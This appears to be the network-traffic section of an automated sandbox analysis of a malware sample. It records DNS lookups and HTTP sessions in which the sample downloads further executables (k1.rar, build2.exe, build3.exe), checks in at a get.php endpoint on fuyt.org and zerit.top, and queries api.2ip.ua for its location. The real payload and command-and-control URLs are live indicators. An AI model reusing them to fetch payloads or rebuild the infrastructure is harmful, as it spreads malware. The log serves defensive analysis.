Jul 26, 2024 02:25:30.225969076 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:30.227427006 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:30.232182026 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 26, 2024 02:25:30.755012989 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:30.755043030 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:30.755148888 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:30.770462990 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:30.770483971 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.248730898 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.248815060 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.322582006 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.322607994 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.322948933 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.323012114 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.326483011 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.372508049 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.671344042 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.671448946 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.671478987 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.671659946 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.671665907 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.671716928 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.671768904 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:31.671825886 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.673594952 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:31.673610926 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.440879107 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.440967083 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.441057920 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.449455023 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.449491978 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.960582018 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.960728884 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.988301039 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.988339901 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.989332914 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:36.989399910 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:36.991425991 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.036514044 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335412979 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335489035 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335510969 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335551977 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335557938 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335597038 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335613012 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335659981 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335664034 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335702896 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335741043 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.335783958 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335824013 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:37.335838079 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:37.463897943 CEST	49739	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.468791008 CEST	80	49739	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:37.468867064 CEST	49739	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.469201088 CEST	49739	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.474050045 CEST	80	49739	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:37.828296900 CEST	49740	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.833209038 CEST	80	49740	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:37.833286047 CEST	49740	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.833420038 CEST	49740	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:37.838175058 CEST	80	49740	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:38.586668968 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:38.586762905 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:38.586915970 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:38.599442005 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:38.599477053 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.084920883 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.085053921 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.092350960 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.092381954 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.092740059 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.092813015 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.094364882 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.136537075 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.451497078 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.451607943 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.451658010 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.451718092 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.455873966 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:39.455913067 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:39.520461082 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:39.525377989 CEST	80	49743	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:39.525460958 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:39.525688887 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:39.530437946 CEST	80	49743	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:44.909363985 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:44.909466982 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:44.909543037 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:44.932554007 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:44.932620049 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.422462940 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.422561884 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.427278042 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.427309036 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.427731037 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.427814007 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.429507971 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.476506948 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.813862085 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.813976049 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.814038038 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.814083099 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:45.814110994 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.814145088 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.814274073 CEST	49747	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:45.814306021 CEST	443	49747	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:52.621256113 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:52.621376038 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:52.621470928 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:52.630829096 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:52.630867004 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.119951963 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.120120049 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.124571085 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.124598980 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.124984026 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.125051022 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.126586914 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.168529987 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.501347065 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.501480103 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.501513958 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.501573086 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.501625061 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.501674891 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.501708031 CEST	443	49750	188.114.96.3	192.168.2.4
Jul 26, 2024 02:25:53.501732111 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.501759052 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:53.501799107 CEST	49750	443	192.168.2.4	188.114.96.3
Jul 26, 2024 02:25:58.864660978 CEST	80	49739	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:58.864819050 CEST	49739	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:58.865022898 CEST	49739	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:58.870224953 CEST	80	49739	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:59.239957094 CEST	80	49740	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:59.240063906 CEST	49740	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:59.240179062 CEST	49740	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:59.241081953 CEST	49751	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:59.245229006 CEST	80	49740	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:59.246077061 CEST	80	49751	92.246.89.93	192.168.2.4
Jul 26, 2024 02:25:59.246186972 CEST	49751	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:59.246382952 CEST	49751	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:25:59.251215935 CEST	80	49751	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:00.898389101 CEST	80	49743	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:00.898471117 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:00.899439096 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:01.132453918 CEST	80	49743	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:01.132577896 CEST	49743	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:01.133977890 CEST	80	49743	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:03.947144032 CEST	49752	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:03.955009937 CEST	80	49752	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:03.955146074 CEST	49752	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:03.955370903 CEST	49752	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:03.962479115 CEST	80	49752	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:05.915966988 CEST	49753	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:05.920944929 CEST	80	49753	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:05.921102047 CEST	49753	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:05.926300049 CEST	49753	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:05.931169033 CEST	80	49753	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:20.670403957 CEST	80	49751	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:20.670525074 CEST	49751	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:20.670644999 CEST	49751	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:20.676254988 CEST	80	49751	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:25.320301056 CEST	80	49752	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:25.320566893 CEST	49752	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:25.320661068 CEST	49752	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:25.325939894 CEST	80	49752	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:27.337064981 CEST	80	49753	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:27.337162971 CEST	49753	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:27.337296963 CEST	49753	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:27.342137098 CEST	80	49753	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:30.369864941 CEST	49755	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:30.374897003 CEST	80	49755	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:30.375037909 CEST	49755	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:30.375297070 CEST	49755	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:30.380120039 CEST	80	49755	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:32.399796963 CEST	49756	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:32.404871941 CEST	80	49756	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:32.405004978 CEST	49756	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:32.405204058 CEST	49756	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:32.410319090 CEST	80	49756	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:51.776809931 CEST	80	49755	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:51.777026892 CEST	49755	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:51.777215958 CEST	49755	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:51.781939030 CEST	80	49755	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:53.768893957 CEST	80	49756	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:53.768976927 CEST	49756	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:53.769072056 CEST	49756	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:53.773832083 CEST	80	49756	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:56.837542057 CEST	49757	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:56.842716932 CEST	80	49757	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:56.842896938 CEST	49757	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:56.843121052 CEST	49757	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:56.848040104 CEST	80	49757	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:58.823761940 CEST	49758	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:58.828732014 CEST	80	49758	92.246.89.93	192.168.2.4
Jul 26, 2024 02:26:58.828865051 CEST	49758	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:58.829036951 CEST	49758	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:26:58.833777905 CEST	80	49758	92.246.89.93	192.168.2.4
Jul 26, 2024 02:27:18.274008036 CEST	80	49757	92.246.89.93	192.168.2.4
Jul 26, 2024 02:27:18.274094105 CEST	49757	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:27:18.274177074 CEST	49757	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:27:18.282978058 CEST	80	49757	92.246.89.93	192.168.2.4
Jul 26, 2024 02:27:20.229126930 CEST	80	49758	92.246.89.93	192.168.2.4
Jul 26, 2024 02:27:20.229285002 CEST	49758	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:27:20.237977028 CEST	49758	80	192.168.2.4	92.246.89.93
Jul 26, 2024 02:27:20.242806911 CEST	80	49758	92.246.89.93	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:25:25.749385118 CEST	58511	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:26.794765949 CEST	58511	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:27.824819088 CEST	58511	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:29.760893106 CEST	53	58511	1.1.1.1	192.168.2.4
Jul 26, 2024 02:25:29.760917902 CEST	53	58511	1.1.1.1	192.168.2.4
Jul 26, 2024 02:25:29.760927916 CEST	53	58511	1.1.1.1	192.168.2.4
Jul 26, 2024 02:25:30.738010883 CEST	64874	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:30.746890068 CEST	53	64874	1.1.1.1	192.168.2.4
Jul 26, 2024 02:25:37.437640905 CEST	49388	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:37.439413071 CEST	53418	53	192.168.2.4	1.1.1.1
Jul 26, 2024 02:25:37.462898970 CEST	53	53418	1.1.1.1	192.168.2.4
Jul 26, 2024 02:25:37.827256918 CEST	53	49388	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 02:25:25.749385118 CEST	192.168.2.4	1.1.1.1	0xad35	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:26.794765949 CEST	192.168.2.4	1.1.1.1	0xad35	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:27.824819088 CEST	192.168.2.4	1.1.1.1	0xad35	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:30.738010883 CEST	192.168.2.4	1.1.1.1	0x3e46	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:37.437640905 CEST	192.168.2.4	1.1.1.1	0x8565	Standard query (0)	zerit.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:37.439413071 CEST	192.168.2.4	1.1.1.1	0xd995	Standard query (0)	fuyt.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 02:25:29.760893106 CEST	1.1.1.1	192.168.2.4	0xad35	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:29.760917902 CEST	1.1.1.1	192.168.2.4	0xad35	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:29.760927916 CEST	1.1.1.1	192.168.2.4	0xad35	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:30.746890068 CEST	1.1.1.1	192.168.2.4	0x3e46	No error (0)	api.2ip.ua	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:30.746890068 CEST	1.1.1.1	192.168.2.4	0x3e46	No error (0)	api.2ip.ua	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:37.462898970 CEST	1.1.1.1	192.168.2.4	0xd995	No error (0)	fuyt.org	92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:25:37.827256918 CEST	1.1.1.1	192.168.2.4	0x8565	No error (0)	zerit.top	92.246.89.93	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

ddos.dnsnb8.net:799

fuyt.org

zerit.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	44.221.84.105	799	6104	C:\Users\user\AppData\Local\Temp\RranN.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:25:29.816664934 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:25:37.469201088 CEST	136	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:25:37.833420038 CEST	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zerit.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	92.246.89.93	80	7492	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:25:39.525688887 CEST	125	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:25:59.246382952 CEST	93	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:03.955370903 CEST	136	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	92.246.89.93	80	7492	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:05.926300049 CEST	125	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:30.375297070 CEST	136	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	92.246.89.93	80	7492	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:32.405204058 CEST	125	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	92.246.89.93	80	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:56.843121052 CEST	136	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	92.246.89.93	80	7492	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:26:58.829036951 CEST	125	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.96.3	443	3492	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:25:31 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:25:31 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Jul 2024 00:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WTWAropnOkXo5IafPHJUP6NcjvTNc%2Bzswodalo3jYA5YhssqOBX0tXdIgfJKS0JUr2kLCau%2BOZuXSodBGnIcODRtZDPEK1xLlMBHU8v2Uj%2BC%2BrQapzZtY87p8k5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9040c31b03431b-EWR alt-svc: h3=":443"; ma=86400
